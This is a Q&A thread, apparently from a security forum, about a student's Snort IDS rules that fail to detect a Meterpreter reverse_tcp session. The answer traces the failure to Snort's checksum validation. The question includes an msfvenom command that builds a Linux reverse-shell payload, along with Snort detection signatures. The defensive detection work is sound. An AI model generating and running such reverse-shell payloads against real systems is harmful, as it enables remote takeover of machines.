0

I'm working on a university project and I'm trying to identify a reverse shell attack with Snort IDS. For the attack I used Meterpreter/reverse_tcp and analyzed the packets via Wireshark for traces to use in Snort rules. I managed to find some strings that might be useful for identifying an attack, such as: "PSSWQH", "mbedtls", "ELF"; these strings can be read clearly inside the packages, as can be seen from the photos. enter image description here

enter image description hereenter image description here

I therefore wrote the following rules in Snort:

  1. alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1; sid:10000001;msg:"Find PSSWQH HEX string";content:"|50 53 53 57 51 48|", nocase;classtype:shellcode-detect;priority:1;)
  2. alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1; sid:10000003; msg:"mbedtls HEX string found with distance option"; content:"|6d 62 65 64 74|", nocase;classtype:shellcode-detect;priority:1;)
  3. alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1;sid:10000004;msg:"ELF string found hex";content:"|45 4c 46|";classtype:shellcode-detect;priority:1;)

The problem is that the first rule is practically always activated, this means that Snort manages to find a match between the content and the data of a packet, but the second and third, despite being structurally the same as the previous one, are never activated and Snort never raises the alert.

This is the snort.conf file:

I generate the payload with msfvenom: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<name of my home server> LPORT=4444 -f elf -a x64 -o shell_port_4444.elf

I leave the mega link where you can download the .zip file containing the Snort configuration file and the pcap shown in the photo

Mega folder

To replicate the test you will need to change the LHOST and LPORT parameter based on your network and the $HOME_NET and $EXTERNAL_NET variables in the Snort configuration file.

Could anyone help me?

5
  • Welcome to the community. I think you need to inspect the reverse_tcp shellcode being used - it might be dynamic. Nov 15, 2023 at 16:34
  • Surely something can change between one execution and another, but every time I repeated the tests, during the initialization of the session, those strings were there. I don't understand how it is possible that the first one can be controlled while the others cannot Nov 15, 2023 at 16:52
  • I'm apparently not too sure, just gave a suggestion.. Nov 15, 2023 at 18:35
  • @Mattiacavaliere: I recommend that you produce something reproducible for others to look at: a packet capture with the traffic, the whole snort config with your rules but also everything else, the snort version. The pcap would it also easier for you to debug the problem, since you have guaranteed always the same traffic. Nov 15, 2023 at 19:12
  • thanks for the suggestion. I have updated the question and I think I have provided what is necessary to be able to replicate the test Nov 15, 2023 at 19:34

1 Answer 1

0

This analysis was based on the provided pcap and config. Looking at the pcap there are packets which have a correct TCP checksum and packets which don't - wich can happen if TCP checksum is offloaded to the network card. But, snort is instructed to actually verify the checksum and throw away any packets with a wrong checksum. To cite from README.decode:

Stream and Frag will not process packets that have been flagged as having bad checksums.

For doing checksum analysis and throwing away packets they have to be computed in the first place. This was enabled in the snort.conf:

# Configure IP / TCP checksum mode
config checksum_mode: all

Enabling TCP checksum validation in Wireshark one can observe, that the packet matching PSSWQH has the correct TCP checksum, while the packet matching ELF and mbedtls has not. This explains, why the first rule matches (packet found) while the other two not (packet discarded due to checksum before matching).

Disabling checksum computation fixes the problem:

config checksum_mode: none

After this change all rules match since no packets get discarded before the match due to a wrong checksum:

11/15-11:34:31.987445  [**] [1:10000001:1] Find PSSWQH HEX string [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
11/15-11:34:31.987704  [**] [1:10000003:1] mbedtls HEX string found with distance option [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
11/15-11:34:31.987704  [**] [1:10000004:1] ELF string found hex [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
11/15-11:34:32.010994  [**] [1:10000004:1] ELF string found hex [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
11/15-11:34:32.015976  [**] [1:10000003:1] mbedtls HEX string found with distance option [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
4
  • Great! It worked. Thank you very much for helping. Nov 16, 2023 at 9:43
  • I just have one more question. If I run Snort on the pcap file the rules are all activated correctly but if I run it on traffic the rules sid:10000002 and sid:10000003 are not activated even though I am sure that during execution those strings are found in the packets. Nov 16, 2023 at 10:37
  • @Mattiacavaliere: I don't know the reason for this difference and can only recommend how you can debug it: Do a packet capture in parallel to running snort. Then also feed the data you've captured into snort in a separate test and see if the results from live and pcap with the same data are the same. Also make sure that snort captures actually all data (snaplen). And check the statistics on how many packets are processed in the flow and compare this with how many packets you've expected (based on the pcap). Nov 16, 2023 at 11:10
  • Ok, thanks for the help. I managed to resolve the error, the problem was the snaplen. Nov 16, 2023 at 16:45

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .